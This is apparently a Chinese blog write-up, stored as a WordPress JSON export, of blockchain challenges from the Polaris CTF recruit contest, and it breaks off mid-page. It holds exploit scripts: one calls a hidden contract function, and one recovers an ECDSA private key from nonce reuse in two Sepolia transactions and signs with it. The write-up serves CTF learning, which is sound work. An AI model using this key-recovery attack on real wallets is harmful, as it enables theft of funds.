{"id":3220,"date":"2026-03-30T21:42:30","date_gmt":"2026-03-30T13:42:30","guid":{"rendered":"https:\/\/www.sanjiuctf.cn\/?p=3220"},"modified":"2026-03-31T14:16:35","modified_gmt":"2026-03-31T06:16:35","slug":"%e7%ac%ac%e4%b8%80%e5%b1%8a-polaris-ctf-%e6%8b%9b%e6%96%b0%e8%b5%9b-wp","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.cn\/?p=3220","title":{"rendered":"\u7b2c\u4e00\u5c4a Polaris CTF \u62db\u65b0\u8d5b wp"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p>\u5c31\u5468\u65e5\u6709\u65f6\u95f4\u89e3\uff0c\u89e3\u4e86\u4e00\u5929\uff0c\u7ebf\u4e0a\u9898\u76ee\u771f\u7684\u8d8a\u6765\u8d8a\u96be\u4e86\uff0c\u4f20\u7edf\u6d3e\u6839\u672c\u89e3\u4e0d\u52a8\uff0c\u5c31\u89e3\u51fa\u4e00\u534a\u3002<\/p>\n\n\n\n<p>\u961f\u4f0dID:\u53c1\u7396 \u603b\u6392\u540d<strong>55<\/strong>\u540d \u516c\u5f00\u8d5b\u9053\u662f<strong>33<\/strong>\u540d<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-210.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"478\" height=\"175\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-210.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3221\"  sizes=\"auto, (max-width: 478px) 100vw, 478px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-211.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"370\" height=\"68\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-211.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3222\"  sizes=\"auto, (max-width: 370px) 100vw, 370px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">Misc<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u6284\u4f5c\u4e1a<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-212-1024x536.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"536\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-212-1024x536.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3223\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n<p>\u9898\u76ee\u672a\u63d0\u4f9b\u5408\u7ea6\u6e90\u7801\uff0c\u4ec5\u63d0\u4f9b RPC \u63a5\u53e3\u3001\u76ee\u6807\u5408\u7ea6\u5730\u5740\u548c\u73a9\u5bb6\u79c1\u94a5\u3002 \u9996\u5148\u901a\u8fc7 Web3 \u811a\u672c\u4ece\u94fe\u4e0a dump \u51fa\u76ee\u6807\u5408\u7ea6\u7684 Bytecode\uff08\u5b57\u8282\u7801\uff09\uff0c\u5e76\u4e22\u5165 Dedaub \u7b49\u53cd\u7f16\u8bd1\u5de5\u5177\u4e2d\u5206\u6790\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>608060405234801561000f575f80fd5b5060043610610034575f3560e01c80635e36bdc614610038578063aab2fcd214610068575b5f80fd5b610052600480360381019061004d91906101a4565b610084565b60405161005f91906101e9565b60405180910390f35b610082600480360381019061007d9190610235565b6100a0565b005b5f602052805f5260405f205f915054906101000a900460ff1681565b8082846100ad91906102b2565b146100ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e49061034d565b60405180910390fd5b60015f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101738261014a565b9050919050565b61018381610169565b811461018d575f80fd5b50565b5f8135905061019e8161017a565b92915050565b5f602082840312156101b9576101b8610146565b5b5f6101c684828501610190565b91505092915050565b5f8115159050919050565b6101e3816101cf565b82525050565b5f6020820190506101fc5f8301846101da565b92915050565b5f819050919050565b61021481610202565b811461021e575f80fd5b50565b5f8135905061022f8161020b565b92915050565b5f805f6060848603121561024c5761024b610146565b5b5f61025986828701610221565b935050602061026a86828701610221565b925050604061027b86828701610221565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6102bc82610202565b91506102c783610202565b92508282026102d581610202565b915082820484148315176102ec576102eb610285565b5b5092915050565b5f82825260208201905092915050565b7f77726f6e670000000000000000000000000000000000000000000000000000005f82015250565b5f6103376005836102f3565b915061034282610303565b602082019050919050565b5f6020820190508181035f8301526103648161032b565b905091905056fea264697066735822122065ea027d1af02280488313e5fba02dae1169f7b75d02f59ba1a92bd682ba579764736f6c63430008140033<\/code><\/pre>\n\n\n\n<p><a href=\"https:\/\/app.dedaub.com\/decompile?md5=9f6b61fecff787600f4ae48af92c26fd\">EVM Bytecode Decompiler | Dedaub Security Suite<\/a><\/p>\n\n\n\n<p>\u53cd\u7f16\u8bd1\u540e\u53d1\u73b0\u5408\u7ea6\u5185\u53ea\u6709\u4e24\u4e2a\u6709\u6548\u7684\u51fd\u6570\u9009\u62e9\u56680x5e36bdc6\uff0c0xaab2fcd2<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-213-1024x711.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"711\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-213-1024x711.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3224\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5408\u7ea6\u9690\u85cf\u4e86\u4e24\u4e2a\u5165\u53e3\uff0c\u7b7e\u540d\u5206\u522b\u4e3a 0x5e36bdc6 \u548c 0xaab2fcd2\u3002\n\u5728 0x5e36bdc6 \u7684\u903b\u8f91\u5206\u652f\u4e2d\uff0c\u5b58\u5728 CALLDATASIZE \u6821\u9a8c\uff0c\u968f\u540e\u6709\u4e00\u6b65 PUSH1 0xff \u548c AND \u7684\u4f4d\u8fd0\u7b97\u3002\u8fd9\u8868\u660e\u8be5\u51fd\u6570\u9700\u8981\u4f20\u5165\u4e00\u4e2a uint8 \u7c7b\u578b\u7684\u53c2\u6570\uff08\u8303\u56f4 0-255\uff09\u3002\n\u5982\u679c\u4f20\u5165\u7684\u53c2\u6570\u4e0e Storage \u4e2d\u7684\u503c\u4e0d\u5339\u914d\uff0c\u7a0b\u5e8f\u4f1a\u8df3\u8f6c\u5e76\u629b\u51fa wrong \u9519\u8bef<\/code><\/pre>\n\n\n\n<p>\u6838\u5fc3\u5206\u6790<\/p>\n\n\n\n<p>\u771f\u6b63\u7684\u72b6\u6001\u4fee\u6539\u901a\u5173\u51fd\u6570\u662f <code>0xaab2fcd2<\/code>\u3002 \u5206\u6790\u8be5\u51fd\u6570\u5bf9\u5e94\u7684 Opcodes\uff0c\u5173\u952e\u6307\u4ee4\u5305\u542b <code>MUL<\/code>\uff08\u4e58\u6cd5\uff09\u3001<code>DIV<\/code>\uff08\u9664\u6cd5\uff09\u3001<code>EQ<\/code>\uff08\u76f8\u7b49\uff09\u3002\u5176\u5e95\u5c42\u6c47\u7f16\u903b\u8f91\u8fd8\u539f\u4e3a Solidity \u5982\u4e0b\uff1a<\/p>\n\n\n\n<p>Solidity<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function solve(uint256 a, uint256 b, uint256 c) public {\n    require(a * b == c, \"wrong\"); \n    solved&#91;msg.sender] = true; \n}<\/code><\/pre>\n\n\n\n<p>\u903b\u8f91\u975e\u5e38\u7b80\u5355\uff1a\u63a5\u6536 3 \u4e2a <code>uint256<\/code> \u53c2\u6570\uff0c\u82e5\u6ee1\u8db3 <code>a * b == c<\/code> \u5373\u53ef\u7ed5\u8fc7 Require\uff0c\u5c06\u8c03\u7528\u8005\u7684\u5730\u5740\u8bb0\u5f55\u4e3a\u5df2\u901a\u5173\u3002<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u5229\u7528<\/p>\n\n\n\n<p>\u65e0\u9700\u7206\u7834\u6216\u731c\u6d4b\u590d\u6742\u53c2\u6570\uff0c\u76f4\u63a5\u4ee4\u53c2\u6570\u4e3a <code>a = 1, b = 1, c = 1<\/code> \u6ee1\u8db3 <code>1 * 1 = 1<\/code> \u7684\u6761\u4ef6\u5373\u53ef\u3002 \u6784\u9020 Calldata: <code>0xaab2fcd2<\/code> + <code>1<\/code>\u7684\u5341\u516d\u8fdb\u5236\uff08\u586b\u5145\u81f332\u5b57\u8282\uff09\u8fde\u7eed\u62fc\u63a5\u4e09\u6b21\u3002 \u53d1\u5305\u4e0a\u94fe\u540e\uff0c\u8bf7\u6c42\u540e\u7aef\u7684 <code>\/api\/solve<\/code> \u63a5\u53e3\u9a8c\u8bc1\u72b6\u6001\u5373\u53ef\u62ff\u5230 flag\u3002<\/p>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nfrom web3 import Web3\n\nBASE_URL = \"http:\/\/80-22d225ff-950e-4ade-944e-33c7f3c9f2fd.challenge.ctfplus.cn\"\nTARGET_ADDRESS = Web3.to_checksum_address(\"0x75537828f2ce51be7289709686A69CbFDbB714F1\")\nMY_ADDRESS = Web3.to_checksum_address(\"0x22b90354Da9A3ae22C28Cea132614C06Ff6E0fee\")\nPRIVATE_KEY = \"0x700e42cb88665acc02845a856b4d140e792f4b3d95841a9c6be403603a215cc9\"\n\nw3 = Web3(Web3.HTTPProvider(f\"{BASE_URL}\/rpc\"))\n\ndef exploit():\n    func_selector = \"0xaab2fcd2\"\n    arg = \"0000000000000000000000000000000000000000000000000000000000000001\"\n    attack_data = func_selector + arg * 3\n\n    tx = {\n        'nonce': w3.eth.get_transaction_count(MY_ADDRESS),\n        'to': TARGET_ADDRESS,\n        'value': 0,\n        'gas': 3000000,\n        'gasPrice': w3.eth.gas_price,\n        'data': attack_data,\n        'chainId': w3.eth.chain_id\n    }\n\n    signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY)\n    raw_tx = getattr(signed_tx, 'raw_transaction', getattr(signed_tx, 'rawTransaction', None))\n    tx_hash = w3.eth.send_raw_transaction(raw_tx)\n    w3.eth.wait_for_transaction_receipt(tx_hash)\n\nif __name__ == \"__main__\":\n    exploit()\n    res = requests.post(f\"{BASE_URL}\/api\/solve\", headers={'Content-Type': 'application\/json'})\n    print(res.json().get('flag', 'Failed'))<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-214.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"965\" height=\"84\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-214.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3225\"  sizes=\"auto, (max-width: 965px) 100vw, 965px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{ead1808f-fe56-4dd4-8bc0-63f1006c73e0}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u53e3\u7b97\u79c1\u94a5<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-215-1024x560.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"560\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-215-1024x560.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3226\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-216-1024x536.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"536\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-216-1024x536.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3227\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-217-1024x492.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"492\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-217-1024x492.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3228\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u89c2\u5bdf\u9898\u76ee\u7ed9\u51fa\u7684\u76ee\u6807\u5730\u5740\u5728 Sepolia \u6d4b\u8bd5\u7f51\u7684\u5386\u53f2\u4ea4\u6613\uff0c\u53d1\u73b0\u6709\u4e24\u7b14\u4ea4\u6613\u7684 ECDSA \u7b7e\u540d\u4e2d\uff0c<code>r<\/code> \u503c\u5b8c\u5168\u76f8\u540c\u3002\u8fd9\u8868\u660e\u7b7e\u540d\u8005\u5728\u5bf9\u4e0d\u540c\u6570\u636e\u7b7e\u540d\u65f6\u4f7f\u7528\u4e86\u76f8\u540c\u7684\u968f\u673a\u6570 k\uff08Nonce \u91cd\u7528\uff09\u3002<\/p>\n\n\n\n<p>\u8ba1\u7b97\u79c1\u94a5\uff1a \u5229\u7528 secp256k1 \u692d\u5706\u66f2\u7ebf\u7684\u6570\u5b66\u7f3a\u9677\uff0c\u63d0\u53d6\u8fd9\u4e24\u7b14\u4ea4\u6613\u7684 r, s1, s2 \u503c\uff0c\u5e76\u91cd\u6784\u539f\u59cb\u672a\u7b7e\u540d\u4ea4\u6613\u8ba1\u7b97\u51fa\u54c8\u5e0c z1, z2\u3002 \u5957\u7528\u516c\u5f0f\u6c42\u51fa\u79c1\u94a5 d\uff1a<br>$$<br>k = (z_1 &#8211; z_2) \/ (s_1 &#8211; s_2) pmod{n}<br>$$<\/p>\n\n\n\n<p>$$<br>d = (s_1 cdot k &#8211; z_1) \/ r pmod{n}<br>$$<\/p>\n\n\n\n<p>\u7b97\u51fa\u76ee\u6807\u5730\u5740\u79c1\u94a5\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0xf149f149f149f149f149f149f149f149f149f149f149f149f149f149f149f149<\/code><\/pre>\n\n\n\n<p>\u94fe\u4e0a\u4ea4\u4e92\uff1a \u5c06\u73af\u5883\u5207\u6362\u5230\u9898\u76ee\u63d0\u4f9b\u7684\u672c\u5730 RPC\uff0c\u4f7f\u7528\u7b97\u51fa\u7684\u79c1\u94a5\u8c03\u7528\u76ee\u6807\u5408\u7ea6 <code>0x755378...<\/code> \u7684 <code>solve()<\/code> \u65b9\u6cd5\uff0c\u5c06 <code>isSolve<\/code> \u72b6\u6001\u7f6e\u4e3a <code>true<\/code>\u3002\u4ea4\u6613\u6253\u5305\u786e\u8ba4\u540e\uff0c\u70b9\u51fb Check \u5373\u53ef\u62ff\u5230 flag\u3002<\/p>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from web3 import Web3\nfrom eth_account import Account\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\nRPC_SEPOLIA = \"https:\/\/ethereum-sepolia-rpc.publicnode.com\"  \nRPC_CTF = \"http:\/\/80-bcef2609-4364-40c8-897f-ffaf777f2f87.challenge.ctfplus.cn\/rpc\" \n\nw3_sepolia = Web3(Web3.HTTPProvider(RPC_SEPOLIA))\nw3_ctf = Web3(Web3.HTTPProvider(RPC_CTF))\n\nTARGET_CONTRACT = \"0x75537828f2ce51be7289709686A69CbFDbB714F1\"\nTX_HASH_1 = \"0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b\"\nTX_HASH_2 = \"0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380\"\nTARGET_ADDRESS = \"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934\"\nN = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141\n\ndef get_transaction_z(tx_dict):\n    tx_type = tx_dict.get('type', 0)\n\n    if tx_type == 2:\n        from eth_account._utils.typed_transactions import TypedTransaction\n        unsigned_dict = {\n            'chainId': tx_dict&#91;'chainId'],\n            'nonce': tx_dict&#91;'nonce'],\n            'maxPriorityFeePerGas': tx_dict&#91;'maxPriorityFeePerGas'],\n            'maxFeePerGas': tx_dict&#91;'maxFeePerGas'],\n            'gas': tx_dict&#91;'gas'],\n            'to': tx_dict&#91;'to'] if tx_dict.get('to') else b'',\n            'value': tx_dict&#91;'value'],\n            'data': tx_dict&#91;'input'],\n            'accessList': tx_dict.get('accessList', &#91;]),\n        }\n        typed_tx = TypedTransaction(transaction_type=2, dictionary=unsigned_dict)\n        return int.from_bytes(typed_tx.hash(), byteorder='big')\n    else:\n        from eth_account._utils.legacy_transactions import serializable_unsigned_transaction_from_dict\n        unsigned_dict = {\n            'nonce': tx_dict&#91;'nonce'],\n            'gasPrice': tx_dict&#91;'gasPrice'],\n            'gas': tx_dict&#91;'gas'],\n            'to': tx_dict&#91;'to'] if tx_dict.get('to') else b'',\n            'value': tx_dict&#91;'value'],\n            'data': tx_dict&#91;'input'],\n        }\n        if 'chainId' in tx_dict and tx_dict&#91;'chainId'] is not None:\n            unsigned_dict&#91;'chainId'] = tx_dict&#91;'chainId']\n        unsigned_tx = serializable_unsigned_transaction_from_dict(unsigned_dict)\n        return int.from_bytes(unsigned_tx.hash(), byteorder='big')\n\ndef mod_inverse(a, m):\n    return pow(a, -1, m)\n\ntx1 = w3_sepolia.eth.get_transaction(TX_HASH_1)\ntx2 = w3_sepolia.eth.get_transaction(TX_HASH_2)\n\nr1 = int.from_bytes(tx1&#91;'r'], byteorder='big')\nr2 = int.from_bytes(tx2&#91;'r'], byteorder='big')\ns1 = int.from_bytes(tx1&#91;'s'], byteorder='big')\ns2 = int.from_bytes(tx2&#91;'s'], byteorder='big')\n\nz1 = get_transaction_z(tx1)\nz2 = get_transaction_z(tx2)\n\nk = ((z1 - z2) * mod_inverse(s1 - s2, N)) % N\nd = ((s1 * k - z1) * mod_inverse(r1, N)) % N\n\nhacked_private_key = hex(d)\nhacked_account = Account.from_key(hacked_private_key)\n\nif hacked_account.address.lower() != TARGET_ADDRESS.lower():\n    s1_neg = N - s1\n    k_neg = ((z1 - z2) * mod_inverse(s1_neg - s2, N)) % N\n    d_neg = ((s1_neg * k_neg - z1) * mod_inverse(r1, N)) % N\n    hacked_private_key = hex(d_neg)\n    hacked_account = Account.from_key(hacked_private_key)\n\nabi = &#91;{\"inputs\":&#91;],\"name\":\"solve\",\"outputs\":&#91;],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]\ncontract = w3_ctf.eth.contract(address=TARGET_CONTRACT, abi=abi)\n\nnonce = w3_ctf.eth.get_transaction_count(hacked_account.address)\n\ntx = contract.functions.solve().build_transaction({\n    'chainId': w3_ctf.eth.chain_id,\n    'gas': 100000,\n    'gasPrice': w3_ctf.eth.gas_price,\n    'nonce': nonce,\n})\n\nsigned_tx = w3_ctf.eth.account.sign_transaction(tx, private_key=hacked_private_key)\ntx_hash = w3_ctf.eth.send_raw_transaction(signed_tx.raw_transaction)\n\nw3_ctf.eth.wait_for_transaction_receipt(tx_hash)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-218-1024x632.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"632\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-218-1024x632.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3229\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf(97966753-507f-4c72-a131-a83f50fede9e)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Wrapped Ether<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-219-1024x552.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"552\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-219-1024x552.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3230\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-220-1024x751.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"751\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-220-1024x751.png\" 